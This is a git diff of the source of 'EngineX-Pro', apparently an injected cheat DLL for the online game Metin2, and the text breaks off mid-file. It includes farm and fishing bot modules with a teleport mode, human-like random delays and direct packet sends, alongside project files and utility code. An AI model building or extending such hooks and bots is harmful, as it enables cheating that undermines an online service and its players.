a/EngineX-Pro/EngineX-Pro.filters b/EngineX-Pro/EngineX-Pro.filters new file mode 100644 index 0000000..9b89d5a --- /dev/null +++ b/EngineX-Pro/EngineX-Pro.filters @@ -0,0 +1,207 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + {74b05407-0562-4ed3-80c3-e6e87811f448} + + + + + Pliki źródłowe + + + ImGui + + + ImGui + + + ImGui + + + ImGui + + + ImGui + + + ImGui + + + Pliki źródłowe + + + Pliki źródłowe + + + Pliki źródłowe + + + Pliki źródłowe + + + Pliki źródłowe + + + Pliki źródłowe + + + Pliki źródłowe + + + Pliki źródłowe + + + Pliki źródłowe + + + Pliki źródłowe + + + Pliki źródłowe + + + Pliki źródłowe + + + Pliki źródłowe + + + Pliki źródłowe + + + Pliki źródłowe + + + Pliki źródłowe + + + + + Pliki nagłówkowe + + + Pliki nagłówkowe + + + Pliki nagłówkowe + + + ImGui + + + ImGui + + + ImGui + + + ImGui + + + ImGui + + + ImGui + + + Pliki nagłówkowe + + + ImGui + + + ImGui + + + Pliki nagłówkowe + + + Pliki nagłówkowe + + + Pliki nagłówkowe + + + Pliki nagłówkowe + + + Pliki nagłówkowe + + + Pliki nagłówkowe + + + Pliki nagłówkowe + + + Pliki nagłówkowe + + + Pliki nagłówkowe + + + Pliki nagłówkowe + + + Pliki nagłówkowe + + + Pliki nagłówkowe + + + Pliki nagłówkowe + + + Pliki nagłówkowe + + + Pliki nagłówkowe + + + Pliki nagłówkowe + + + Pliki nagłówkowe + + + Pliki nagłówkowe + + + Pliki nagłówkowe + + + Pliki nagłówkowe + + + + + Pliki zasobów + + + + + Pliki zasobów + + + + + Pliki zasobów + + + Pliki zasobów + + + \ No newline at end of file diff --git a/EngineX-Pro/EngineX-Pro.vcxproj b/EngineX-Pro/EngineX-Pro.vcxproj new file mode 100644 index 0000000..f0a7201 --- /dev/null +++ b/EngineX-Pro/EngineX-Pro.vcxproj @@ -0,0 +1,392 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + {B12702AD-ABFB-343A-A199-8E24837244A3} + ImGuiWin32 + 10.0.17134.0 + EngineX-Kevra + + + + DynamicLibrary + true + v142 + MultiByte + + + DynamicLibrary + false + v142 + false + MultiByte + + + Application + true + ClangCL + MultiByte + + + Application + false + v142 + true + MultiByte + + + + + + + + + + + + + + + + + + + + + $(LibraryPath);C:\DXSDK\lib;..\Microsoft DirectX SDK 8\Lib\x86;..\Extern\lib + $(IncludePath);C:\DXSDK\include;..\Microsoft DirectX SDK 8\Include;..\Extern\include\Python27;..\Extern\include\Json;..\Extern\include\ThorsSerializer;..\Extern\include + .dll + + + + $(LibraryPath);C:\DXSDK\lib;..\Microsoft DirectX SDK 8\Lib\x86;..\Extern\lib + $(IncludePath);C:\DXSDK\include;..\Microsoft DirectX SDK 8\Include;..\Extern\include\Python27;..\Extern\include\Json;..\Extern\include + $(WindowsSDK_MetadataPath); + + + false + + + + Level1 + Disabled + + + false + _MBCS;WINVER=0x0601;_WIN32_WINNT=0x0601;%(PreprocessorDefinitions) + false + false + Async + MultiThreadedDebug + ProgramDatabase + true + Use + stdcpp17 + Default + false + true + + + Windows + kernel32.lib;user32.lib;Xinput9_1_0.lib;dinput8.lib;shell32.lib;uuid.lib;ole32.lib;advapi32.lib;ws2_32.lib;gdi32.lib;comdlg32.lib;oleaut32.lib;imm32.lib;winmm.lib;Ws2_32.lib;Version.lib;%(AdditionalDependencies) + /FORCE:MULTIPLE %(AdditionalOptions) + + + + + false + libci.lib + true + true + $(OutDir)$(ProjectName).map + true + + + + + 0x0415 + + + + + + + + + Level3 + Disabled + true + true + stdcpp17 + stdc17 + -D__CUDACC__ -D_ALLOW_COMPILER_AND_STL_VERSION_MISMATCH %(AdditionalOptions) + + + Console + + + + + Level1 + Disabled + + + false + + + false + _MBCS;%(PreprocessorDefinitions) + Use + Async + MultiThreaded + false + false + /Zm214 %(AdditionalOptions) + Default + true + stdcpp17 + Default + + + + + + + kernel32.lib;user32.lib;Xinput9_1_0.lib;shell32.lib;uuid.lib;ole32.lib;advapi32.lib;ws2_32.lib;gdi32.lib;comdlg32.lib;oleaut32.lib;imm32.lib;winmm.lib;opengl32.lib;Ws2_32.lib;Version.lib;%(AdditionalDependencies) + false + libci.lib + false + Windows + true + true + /FORCE:MULTIPLE %(AdditionalOptions) + %(AdditionalLibraryDirectories) + + + true + + + start ..\Protect.bat $(ProjectName) + + + + + Level3 + MaxSpeed + true + true + true + true + + + Console + true + true + + + + + NotUsing + NotUsing + + + + + + NotUsing + NotUsing + + + + NotUsing + NotUsing + + + NotUsing + NotUsing + + + NotUsing + NotUsing + + + NotUsing + NotUsing + + + NotUsing + NotUsing + + + NotUsing + NotUsing + + + NotUsing + NotUsing + + + NotUsing + NotUsing + + + NotUsing + NotUsing + + + NotUsing + NotUsing + + + NotUsing + NotUsing + + + NotUsing + NotUsing + + + + + NotUsing + NotUsing + + + NotUsing + NotUsing + + + NotUsing + NotUsing + + + + + NotUsing + NotUsing + + + + Create + Create + + + NotUsing + NotUsing + + + NotUsing + NotUsing + + + NotUsing + NotUsing + + + + + + + + + + + + + + + + + + + + + + + true + + + true + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/EngineX-Pro/EngineX-Pro.vcxproj.filters b/EngineX-Pro/EngineX-Pro.vcxproj.filters new file mode 100644 index 0000000..7511c10 --- /dev/null +++ b/EngineX-Pro/EngineX-Pro.vcxproj.filters @@ -0,0 +1,376 @@ + + + + + + ImGui + + + ImGui + + + ImGui + + + ImGui + + + ImGui + + + ImGui + + + ImGui + + + Form + + + Form + + + Config + + + Core + + + Utils\Other + + + Communication + + + Communication + + + Core + + + ImGui + + + ImGui + + + ImGui\Custom + + + Hooks + + + Hooks + + + Hooks + + + Hooks + + + Hooks + + + Hooks + + + Hooks + + + Hooks + + + Hooks + + + Hooks + + + Hooks + + + + + + Core + + + Core + + + Core + + + Utils + + + Utils + + + Utils + + + Utils + + + ImGui + + + ImGui + + + ImGui + + + ImGui + + + ImGui + + + ImGui + + + ImGui + + + ImGui + + + ImGui + + + Core + + + Form + + + Form + + + Form + + + Config + + + Config + + + Config + + + Form + + + Utils + + + Utils + + + Utils\Other + + + Utils + + + Utils\Other + + + Utils\Other + + + Utils\Other + + + Utils\Other + + + Utils\Other + + + Utils\Other + + + Other + + + Utils\Other + + + Core + + + Form + + + Core\Modules + + + Utils\Other + + + + Core + + + Config + + + Core\Modules\Developer + + + Utils + + + + Core + + + Resource + + + Communication + + + Communication + + + Communication + + + Utils + + + + ImGui + + + Core\Modules\Settings + + + Core\Modules\Fishbot + + + Core\Modules\Developer + + + Core\Modules\Additional + + + Core\Modules\Main + + + Core\Modules\Main + + + Core\Modules\Main + + + Core\Modules\Additional + + + Core\Modules\Additional + + + Core\Modules\Developer + + + Core\Modules\Additional + + + Core\Modules\Main + + + Core\Modules\Protection + + + Core\Modules\Visuals + + + ImGui\Custom + + + Core\Modules\Additional + + + Resource + + + Resource + + + Hooks + + + + + + + + {9e1f9e63-29fe-4f1d-8d6c-ee3a1ee6c5cf} + + + {f12ccb86-c2ab-4b5f-ad90-2e618eb6f406} + + + {6f4ed837-1141-43f6-a90e-8382aed6c732} + + + {0c563931-1248-464b-ad4d-018b6397902f} + + + {442d0af1-d12f-41a2-9f37-455b6ce04d9b} + + + {519f1a77-3132-4970-907e-55f047829ea5} + + + {c05f3c23-7e53-4507-85f5-87cf26ad0a20} + + + {d0cbde09-b11d-48b6-996b-1aef9d152f90} + + + {32c70d04-5b8e-4841-9eb4-0d4fa951509d} + + + {16f4f4ac-38c9-428e-bed5-2067896f60ef} + + + {7f6cf64e-6319-4945-bb48-8f6949aace31} + + + {422c2669-f7b3-4b93-a97e-75493f47e6da} + + + {799a91c8-32c1-4306-8166-429463694632} + + + {fd3ed0b7-95d7-4f9b-9d91-264c3d894cc7} + + + {8e1142a6-9a02-4e0d-bd90-973d3d8683d6} + + + {f9b160f3-cfcc-4907-a086-478461b2f8d7} + + + {debeff30-467b-486e-8ed5-5916f47d9805} + + + {420fae72-65a9-46de-9163-07fb96966534} + + + {9bf2adbc-ba02-4375-8929-6b0882885b44} + + + + + Form + + + \ No newline at end of file diff --git a/EngineX-Pro/ErrorLog.cpp b/EngineX-Pro/ErrorLog.cpp new file mode 100644 index 0000000..d4cd96c --- /dev/null +++ b/EngineX-Pro/ErrorLog.cpp @@ -0,0 +1,59 @@ +#include "polyhook2/ErrorLog.hpp" + +std::shared_ptr PLH::Log::m_logger = nullptr; + +void PLH::Log::registerLogger(std::shared_ptr logger) { + m_logger = logger; +} + +void PLH::Log::log(std::string msg, ErrorLevel level) { + if (m_logger) m_logger->log(std::move(msg), level); +} + +void PLH::ErrorLog::setLogLevel(PLH::ErrorLevel level) { + m_logLevel = level; +} + +void PLH::ErrorLog::log(std::string msg, ErrorLevel level) +{ + push({ std::move(msg), level }); +} + +void PLH::ErrorLog::push(std::string msg, ErrorLevel level) +{ + push({ std::move(msg), level }); +} + +void PLH::ErrorLog::push(PLH::Error err) { + if (err.lvl >= m_logLevel) { + switch (err.lvl) { + case ErrorLevel::INFO: + std::cout << "[+] Info: " << err.msg << std::endl; + break; + case ErrorLevel::WARN: + std::cout << "[!] Warn: " << err.msg << std::endl; + break; + case ErrorLevel::SEV: + std::cout << "[!] Error: " << err.msg << std::endl; + break; + default: + std::cout << "Unsupported error message logged " << err.msg << std::endl; + } + } + + m_log.push_back(std::move(err)); +} + +PLH::Error PLH::ErrorLog::pop() { + Error err{}; + if (!m_log.empty()) { + err = m_log.back(); + m_log.pop_back(); + } + return err; +} + +PLH::ErrorLog& PLH::ErrorLog::singleton() { + static ErrorLog log; + return log; +} diff --git a/EngineX-Pro/Farm.h b/EngineX-Pro/Farm.h new file mode 100644 index 0000000..7215357 --- /dev/null +++ b/EngineX-Pro/Farm.h @@ -0,0 +1,313 @@ +#pragma once +class Farm :public IAbstractModuleBase, public Singleton +{ +public: + int LastTeleport = 0; + int LastTeleportTemp = 0; + DWORD targetVID = 0; + DWORD * targetInstance = NULL; + int MoveStep; + int BoostCount = 0; + string newFileName; + int currentIndex = 0; + + void TeleportToDestination(D3DVECTOR pos) { + int Count = 0; + int Crap = 0; + D3DVECTOR TempPos = GameFunctionsCustom::GetTempPosition(pos, Count); + for (int TmpCount = 0; TmpCount < Count; TmpCount++) + { + TempPos = GameFunctionsCustom::GetTempPosition(pos, Crap); + DelayActions::AppendBlock(false, 34 * (TmpCount + 1), &GameFunctionsCustom::Teleport, TempPos); + } + } + + + + + + void CheckClosestCoord() + { + int index = 0; + int ClosestIndex = 0; + D3DVECTOR mainPosition; + GameFunctions::InstanceBaseNEW_GetPixelPosition(GameFunctions::PlayerNEW_GetMainActorPtr(), &mainPosition); + DWORD LowestDistance = MiscExtension::CountDistanceTwoPoints(mainPosition.x, mainPosition.y, Settings::cordsMaps.begin()->x, Settings::cordsMaps.begin()->y); + for (vector::iterator itor = Settings::cordsMaps.begin(); itor != Settings::cordsMaps.end(); itor++) + { + + float Distance = MiscExtension::CountDistanceTwoPoints(mainPosition.x, mainPosition.y, itor->x, itor->y); + if (Distance < LowestDistance) + { + ClosestIndex = index; + } + index++; + } + MoveStep = ClosestIndex; + } + + void OnStart() + { + if (Settings::cordsMaps.size() <= 0) + { + Settings::cordsMaps.push_back(GameFunctionsCustom::PlayerGetPixelPosition()); + } + CheckClosestCoord(); + } + + void OnStop() + { + D3DVECTOR mainPosition; + GameFunctions::InstanceBaseNEW_GetPixelPosition(GameFunctions::PlayerNEW_GetMainActorPtr(), &mainPosition); + GameFunctionsCustom::PlayerMoveToDestPixelPositionDirection(mainPosition); + } + + void OnUpdate() + { + if (Settings::GLOBAL_SWITCH_ENABLE && Settings::FARM_ENABLE && GameFunctionsCustom::PlayerIsInstance()) + { + if (GameFunctions::InstanceBaseIsDead(GameFunctions::PlayerNEW_GetMainActorPtr())) + { + return; + } + + int CordsLength = Settings::cordsMaps.size(); + if (CordsLength > 0) + { + map mobList; + map stoneList; + map bossList; + map mineList; + if (Settings::FARM_MOB_ENABLE) + { + mobList = GameFunctionsCustom::GetObjectList(OBJECT_MOB , Settings::FARM_DISTANCE); + } + if (Settings::FARM_BOSS_ENABLE) + { + bossList = GameFunctionsCustom::GetObjectList( OBJECT_BOSS, Settings::FARM_DISTANCE); + } + if (Settings::FARM_METIN_ENABLE) + { + stoneList = GameFunctionsCustom::GetObjectList(OBJECT_STONE , Settings::FARM_DISTANCE); + } + if (Settings::FARM_MINE_ENABLE) + { + mineList = GameFunctionsCustom::GetObjectList(OBJECT_MINE, Settings::FARM_DISTANCE); + } + + + + + + + D3DVECTOR playerPosition = GameFunctionsCustom::PlayerGetPixelPosition(); + if (targetInstance== NULL) + { + targetVID = 0; + /*targetInstance = NULL;*/ + } + if (targetVID && (GameFunctions::InstanceBaseGetInstanceType(targetInstance ) != TYPE_ENEMY)&&( GameFunctions::InstanceBaseIsDead(targetInstance) || !GameFunctionsCustom::IsMapHaveInstance(targetInstance))) + { + targetVID = 0; + targetInstance = NULL; + DynamicTimer::CheckAutoSet("DropDelay", Settings::FARM_DROP_WAIT_DELAY * 1000); + } + if (DynamicTimer::IsActive("DropDelay", Settings::FARM_DROP_WAIT_DELAY * 1000)) + { + return; + } + + if (mobList.size()|| stoneList.size()|| bossList.size() || mineList.size()) + { + + if (!mobList.count(targetVID) && !stoneList.count(targetVID) && !bossList.count(targetVID)) + { + /*targetVID = 0;*/ + if (!targetVID) + { + for (map::iterator itor = mobList.begin(); itor != mobList.end(); itor++) + { + targetVID = itor->first; + targetInstance = itor->second; + } + } + if (!targetVID) + { + for (map::iterator itor = stoneList.begin(); itor != stoneList.end(); itor++) + { + targetVID = itor->first; + targetInstance = itor->second; + } + } + if (!targetVID) + { + for (map::iterator itor = bossList.begin(); itor != bossList.end(); itor++) + { + targetVID = itor->first; + targetInstance = itor->second; + } + } + if (!targetVID) + { + for (map::iterator itor = mineList.begin(); itor != mineList.end(); itor++) + { + targetVID = itor->first; + targetInstance = itor->second; + } + } + + } + if (targetVID && DynamicTimer::CheckAutoSet("FarmOnPressActor", 1500)) + { + if (GameFunctionsCustom::InstanceIsResource(targetVID) && GameFunctions::InstanceIsWaiting(GameFunctions::PlayerNEW_GetMainActorPtr())) + { + GameFunctions::Player__OnClickActor(GameFunctions::PlayerNEW_GetMainActorPtr(), targetVID, true); + } + else + { + GameFunctions::Player__OnPressActor(GameFunctions::PlayerNEW_GetMainActorPtr(), targetVID, true); + } + + + } + } + else + { + bool isInCircle = MathExtension::PointInCircle(playerPosition, Settings::cordsMaps[MoveStep], 300); + if (isInCircle) + { + MoveStep ++; + } + + if (MoveStep == CordsLength) + { + reverse(Settings::cordsMaps.begin(), Settings::cordsMaps.end()); + MoveStep = 0; + } + if (CordsLength >= 2 && !isInCircle) + { + if (Settings::FARM_MOVE_TYPE == 1) + { + TeleportToDestination(Settings::cordsMaps[MoveStep]); + } + else + { + GameFunctionsCustom::PlayerMoveToDestPixelPositionDirection(Settings::cordsMaps[MoveStep]); + } + } + } + } + else + { + Settings::cordsMaps.push_back(GameFunctionsCustom::PlayerGetPixelPosition()); + } + } + } + + void OnRender() + { + if (Settings::FARM_RENDER_PATH_ENABLE) + { + for (auto itor = Settings::cordsMaps.begin(); itor != Settings::cordsMaps.end(); itor++) + { + auto ItorNext = itor; + ItorNext++; + if (ItorNext == Settings::cordsMaps.end()) + break; + + vector< D3DVECTOR> distanceSteps = MiscExtension::DivideTwoPointsByDistance(100, *itor, *ItorNext); + int i = 0; + for (vector< D3DVECTOR>::iterator it = distanceSteps.begin(); it != distanceSteps.end(); ++it) + { + auto itNext = it; + itNext++; + if (itNext == distanceSteps.end()) + break; + float z1 = GameFunctions::GetBackgroundHeight(it->x, it->y) + 5.0f; + float z2 = GameFunctions::GetBackgroundHeight(itNext->x, itNext->y) + 5.0f; + D3DVECTOR LinePos1 = { it->x, -it->y, z1 }; + D3DVECTOR LinePos2 = { itNext->x, -itNext->y, z2 }; + CRender::Line3D(LinePos1.x, LinePos1.y, LinePos1.z, LinePos2.x, LinePos2.y, LinePos2.z, Settings::RADAR_WAYPOINT_COLOR); + i++; + } + } + } + } + + void OnTab1() + { + ImGui::PushStyleVar(ImGuiStyleVar_ChildRounding, 5.0f); + ImGui::SetNextWindowBgAlpha(0.75f); + ImGui::BeginChild("FarmBotBorder", ImVec2(ImGui::GetWindowWidth() - 10, 150), true); + if (ImGui::Checkbox("Farm Enable", &Settings::FARM_ENABLE)) + { + if (Settings::FARM_ENABLE == true) + { + OnStart(); + } + else + { + OnStop(); + } + } ImGui::SameLine(); + ImGui::RadioButton("Move", &Settings::FARM_MOVE_TYPE, 0); ImGui::SameLine(); + ImGui::RadioButton("Teleport", &Settings::FARM_MOVE_TYPE, 1); + /*ImGui::RadioButton("Normal", &Settings::LevelBotAttackType, 0); ImGui::SameLine(); + ImGui::RadioButton("WaitHack", &Settings::LevelBotAttackType, 1);*/ + ImGui::PushItemWidth(200); ImGui::InputInt("Distance", &Settings::FARM_DISTANCE, 100, 1000); + ImGui::Checkbox("Mob", &Settings::FARM_MOB_ENABLE); ImGui::SameLine(); + ImGui::Checkbox("Boss", &Settings::FARM_BOSS_ENABLE); ImGui::SameLine(); + ImGui::Checkbox("Metin", &Settings::FARM_METIN_ENABLE); ImGui::SameLine(); + + ImGui::Checkbox("Mine", &Settings::FARM_MINE_ENABLE); /*ImGui::SameLine();*/ + + ImGui::InputFloat("Drop Wait Delay (s)", &Settings::FARM_DROP_WAIT_DELAY, 0.100, 1); + + /*ImGui::Checkbox("Plant", &Settings::FARM_PLANT_ENABLE);*/ + ImGui::EndChild(); + ImGui::PopStyleVar(); + + ImGui::PushStyleVar(ImGuiStyleVar_ChildRounding, 5.0f); + ImGui::SetNextWindowBgAlpha(0.75f); + ImGui::BeginChild("CordsBorder", ImVec2(ImGui::GetWindowWidth() - 10, 150), true); + if (ImGui::Button("Add Position")) + { + Settings::cordsMaps.push_back(GameFunctionsCustom::PlayerGetPixelPosition()); + } + ImGui::SameLine(); + if (ImGui::Button("Delete All Position")) + { + Settings::cordsMaps.clear(); + } + ImGui::Separator(); + if (Settings::cordsMaps.size() > 0) + { + for (auto item : Settings::cordsMaps) + { + bool is_selected = true; + std::string& item_name = "[ X:" + to_string((DWORD)(item.x / 100)) + "],[ Y:" + to_string((DWORD)(item.y / 100)) + "]"; + if (ImGui::Selectable(item_name.c_str(), is_selected)) + { + + } + } + } + ImGui::EndChild(); + ImGui::PopStyleVar(); + } + + void OnTabs() + { + MainForm::AddTab(16, "Farm"); + } + + void OnMenu() + { + switch (MainForm::CurTabOpen) + { + case 16: + OnTab1(); + break; + } + } +}; diff --git a/EngineX-Pro/FileExtension.h b/EngineX-Pro/FileExtension.h new file mode 100644 index 0000000..268d768 --- /dev/null +++ b/EngineX-Pro/FileExtension.h @@ -0,0 +1,179 @@ +#pragma once +class FileExtension +{ +public: + static string GetAppDataDirectory() + { + char szPath[MAX_PATH]; + if (SUCCEEDED(SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, szPath))) + { + return string(szPath); + } + return ""; + } + static string GetCommonDataDirectory() + { + char szPath[MAX_PATH]; + if (SUCCEEDED(SHGetFolderPath(NULL, CSIDL_COMMON_APPDATA, NULL, 0, szPath))) + { + return string(szPath); + } + return ""; + } + static string GetDirectoryPathFromFilePatch(string filePath) + { + string directory; + const size_t last_slash_idx = filePath.rfind('\\'); + if (std::string::npos != last_slash_idx) + { + directory = filePath.substr(0, last_slash_idx); + } + return directory; + } + + static string GetCurrentExeDirectory() + { + const unsigned long maxDir = 260; + char currentDir[maxDir]; + /*GetCurrentDirectory(maxDir, (LPWSTR)currentDir);*/ + return string(currentDir); + } + + static int ReadFileSize(const char* filename, int* read) + { + ifstream file(filename, ios::binary | ios::ate); + return file.tellg(); + } + + static char* ReadAllBytes(const char* filename, int* read) + { + ifstream ifs(filename, ios::binary | ios::ate); + ifstream::pos_type pos = ifs.tellg(); + int length = pos; + char* pChars = new char[length]; + ifs.seekg(0, ios::beg); + ifs.read(pChars, length); + ifs.close(); + *read = length; + return pChars; + } + static vector ReadAllBytes(char const* filename) + { + ifstream ifs(filename, ios::binary | ios::ate); + ifstream::pos_type pos = ifs.tellg(); + + std::vector result(pos); + + ifs.seekg(0, ios::beg); + ifs.read(&result[0], pos); + + return result; + } + + static bool CreateDirectoryPath(const char* path) + { + if (CreateDirectory(path, NULL) || ERROR_ALREADY_EXISTS == GetLastError()) + { + return true; + } + else + { + return false; + } + } + static void Read(const std::string& filepath, std::string& buffer) + { + std::ifstream fin(filepath.c_str()); + getline(fin, buffer, char(-1)); + fin.close(); + } + static void Write(const std::string& file_name, void* data, int size) + { + std::ofstream out(file_name.c_str()); + out.write(reinterpret_cast(data), size); + out.close(); + } + static void Write(const std::string& file_name, std::string& data) + { + + std::ofstream out(file_name.c_str()); + out << data; + out.close(); + } + static void Append(const std::string& file_name, std::string& data) + { + std::ofstream out; + out.open(file_name, std::ios_base::app); + out << data; + + out.close(); + } + static void Read(const std::string& file_name, void* data, int size) + { + std::ifstream in(file_name.c_str()); + in.read(reinterpret_cast(data), size); + in.close(); + } + static void ReadDirectory(const std::string& name, vector& v) + { + std::string pattern(name); + pattern.append("*"); + WIN32_FIND_DATAA data; + HANDLE hFind; + if ((hFind = FindFirstFileA(pattern.c_str(), &data)) != INVALID_HANDLE_VALUE) + { + do + { + v.push_back(data.cFileName); + } while (FindNextFileA(hFind, &data) != 0); + FindClose(hFind); + } + } + static string GetExtensionFilePath(string path) + { + + std::string::size_type idx; + idx = path.rfind('.'); + if (idx != std::string::npos) + { + std::string extension = path.substr(idx + 1); + return extension; + } + else + { + return ""; + } + } + static vector GetDirectoryFiles(string folderPath ,string selectedExtension ="" /*format "exe"*/) + { + + vector names; + string search_path = folderPath + "/*.*"; + WIN32_FIND_DATA fd; + HANDLE hFind = ::FindFirstFile(search_path.c_str(), &fd); + if (hFind != INVALID_HANDLE_VALUE) + { + do + { + + if (!(fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) + { + if (selectedExtension != "" && GetExtensionFilePath(fd.cFileName) != selectedExtension) + { + + } + else + { + string name = StringExtension::ReplaceString(fd.cFileName, "." + selectedExtension, ""); + names.push_back(StringExtension::ASCIIToUTF8(name)); + } + + } + } while (::FindNextFile(hFind, &fd)); + ::FindClose(hFind); + } + return names; + + } +}; + diff --git a/EngineX-Pro/Fish.h b/EngineX-Pro/Fish.h new file mode 100644 index 0000000..7a58b5e --- /dev/null +++ b/EngineX-Pro/Fish.h @@ -0,0 +1,843 @@ +#pragma once +class Fish : public IAbstractModuleBase, public Singleton +{ +private: + + +public: + int action = 0; + int couting = 0; + bool isEnable = false; + DWORD lastTimeFishing = 0; + bool isNeedRoundTimeCast = false; + DWORD lastTimeBotCast = 0; + DWORD lastTimeBotRoundTime = 0; + int trueMessage = 0; + int messageCount = 0; + D3DVECTOR standingPosition; + void OnStart() + { + isEnable = true; + lastTimeFishing = GetTickCount(); + + lastTimeBotCast = GetTickCount(); + lastTimeBotRoundTime = GetTickCount(); + Logger::Add(Logger::FISH, true, Logger::GREEN, "START"); + + standingPosition = GameFunctionsCustom::PlayerGetPixelPosition(); + Logger::Add(Logger::FISH, true, Logger::WHITE, StringExtension::StringFormat("POSITION %d %d", (int)(standingPosition.x / 100), (int)(standingPosition.y / 100)).c_str()); + NewCast(); + + + } + void OnStop() + { + isEnable = false; + Logger::Add(Logger::FISH, true, Logger::RED, "STOP"); + standingPosition = { 0, 0, 0 }; + if (Globals::Server == ServerName::METINPL) + { + GameFunctions::NetworkStreamSendEmoticon(116); + GameFunctions::NetworkStreamSendFishingQuitPacket(3, GameFunctionsCustom::PlayerGetRotation()); + } + } + void OnUpdate() + { + + if (isEnable) + { + if (Settings::FISH_EMERGENCY_RUN_TIME_ENABLE) + { + if ((GetTickCount() - lastTimeFishing) > Settings::FISH_EMERGENCY_RUN_TIME_VALUE&& lastTimeFishing != 0) + { + action = -1; + messageCount = 0; + trueMessage = 0; + Logger::Add(Logger::FISH, true, Logger::RED, "RESUME"); + if (Globals::Server == ServerName::METINPL) + { + Cast2(); + } + NewCast(); + lastTimeFishing = GetTickCount(); + } + } + if (action > 0 && action < 7) + { + if (Settings::FISH_SUCCESS_PERCENTAGE_VALUE_ENABLE) + { + int loseRandom = MiscExtension::RandomInt(1, 100); + if (loseRandom <= Settings::FISH_SUCCESS_PERCENTAGE_VALUE_ENABLE) + { + Logger::Add(Logger::FISH, true, Logger::WHITE, "RANDOM FALSE"); + action += 1; + } + else + { + + + } + } + if (Settings::FISH_CAST_TIME_ENABLE) + { + int clickTime = MiscExtension::RandomInt(Settings::FISH_CAST_TIME_MIN_VALUE, Settings::FISH_CAST_TIME_MAX_VALUE); + if ((GetTickCount() - lastTimeBotCast) > clickTime) + { + if (Globals::Server == ServerName::METINPL) + { + Cast2(); + } + else + { + Cast(); + } + Logger::Add(Logger::FISH, true, Logger::WHITE, StringExtension::StringFormat("CLICK %d AFTER %d (ms)", action, clickTime).c_str()); + action--; + + lastTimeBotCast = GetTickCount(); + if (action == 0) + { + lastTimeBotRoundTime = GetTickCount(); + isNeedRoundTimeCast = true; + } + } + } + else + { + if (Globals::Server == ServerName::METINPL) + { + Cast2(); + } + else + { + Cast(); + } + action--; + Logger::Add(Logger::FISH, true, Logger::WHITE, StringExtension::StringFormat("CLICK %d", action).c_str()); + if (action == 0) + { + lastTimeBotRoundTime = GetTickCount(); + isNeedRoundTimeCast = true; + } + } + } + else + { + if (Settings::FISH_ROUND_TIME_ENABLE) + { + int waitTime = MiscExtension::RandomInt(Settings::FISH_ROUND_TIME_MIN_VALUE, Settings::FISH_ROUND_TIME_MAX_VALUE); + if ((GetTickCount() - lastTimeBotRoundTime) > waitTime && isNeedRoundTimeCast) + { + + Logger::Add(Logger::FISH, true, Logger::WHITE, StringExtension::StringFormat("WAIT FOR ENDING %d (ms)", waitTime).c_str());//GREEN + NewCast(); + action = -1; + lastTimeBotRoundTime = GetTickCount(); + isNeedRoundTimeCast = false; + } + } + else + { + if ((GetTickCount() - lastTimeBotRoundTime) > 0 && isNeedRoundTimeCast) + { + + + Logger::Add(Logger::FISH, true, Logger::WHITE, "NEW START"); + NewCast(); + action = -1; + lastTimeBotRoundTime = GetTickCount(); + isNeedRoundTimeCast = false; + } + } + } + } + } + + void OnRender() + { + } + + void OnTab1() + { + ImGui::PushStyleVar(ImGuiStyleVar_ChildRounding, 5.0f); + ImGui::SetNextWindowBgAlpha(0.75f); + ImGui::BeginChild("RandomizerBorder", ImVec2(ImGui::GetWindowWidth() - 10, ImGui::GetWindowHeight() - 10), true); + //Przyciski + ImGui::Checkbox("Stop - Position Changed", &Settings::FISH_STOP_IF_POSITION_CHANGED_ENABLE); ImGui::SameLine(); + ImGui::Checkbox("Stop - Equipment Full", &Settings::FISH_STOP_IF_INVENTORY_FULL_ENABLE); + /*ImGui::Text("Randomizer(1000=1sekunda)");*/ + ImGui::Columns(2, "randomizer", false); // 3-ways, no border + ImGui::Checkbox("Random Falsa %", &Settings::FISH_SUCCESS_PERCENTAGE_VALUE_ENABLE); + ImGui::SliderInt("%", &Settings::FISH_SUCCESS_PERCENTAGE_VALUE, 0, 100); + ImGui::Checkbox("Random Click Time", &Settings::FISH_CAST_TIME_ENABLE); + ImGui::InputInt("##randclick", &Settings::FISH_CAST_TIME_MIN_VALUE, 100, 1000); + ImGui::InputInt("##randclick2", &Settings::FISH_CAST_TIME_MAX_VALUE, 100, 1000); + ImGui::NextColumn(); + ImGui::Checkbox("Emergency Resume", &Settings::FISH_EMERGENCY_RUN_TIME_ENABLE); + ImGui::InputInt("##emergencytimeout", &Settings::FISH_EMERGENCY_RUN_TIME_VALUE, 100, 1000); + ImGui::Checkbox("Random End Times", &Settings::FISH_ROUND_TIME_ENABLE); + ImGui::InputInt("##randtour", &Settings::FISH_ROUND_TIME_MIN_VALUE, 100, 1000); + ImGui::InputInt("##randtour2", &Settings::FISH_ROUND_TIME_MAX_VALUE, 100, 1000); + ImGui::EndChild(); + ImGui::PopStyleVar(); + } + + void OnTab2() + { + //Przynety + ImGui::PushStyleVar(ImGuiStyleVar_ChildRounding, 5.0f); + ImGui::SetNextWindowBgAlpha(0.75f); + ImGui::BeginChild("BaitBorder", ImVec2(ImGui::GetWindowWidth() - 10, ImGui::GetWindowHeight() - 10), true); + ImGui::Text("Bait Type Use"); + ImGui::Checkbox("1 slot", &Settings::FISH_USE_FIRST_SLOT_ENABLE); + + for (map< pair, pair> ::iterator itor = Settings::FISH_BAIT_LIST.begin(); itor != Settings::FISH_BAIT_LIST.end(); itor++) + { + + ImGui::Checkbox(itor->second.second.c_str(), (bool*)&itor->first.second); + ImGui::NextColumn(); + + } +#ifdef DEVELOPER_MODE + ImGui::Checkbox("Buy Bait", &Settings::FISH_BUY_BAIT_ENABLE); + ImGui::InputInt("Count", &Settings::FISH_BUY_BAIT_SHOP_COUNT); + ImGui::InputInt("Slot", &Settings::FISH_BUY_BAIT_SHOP_SLOT); + ImGui::Checkbox("Teleport", 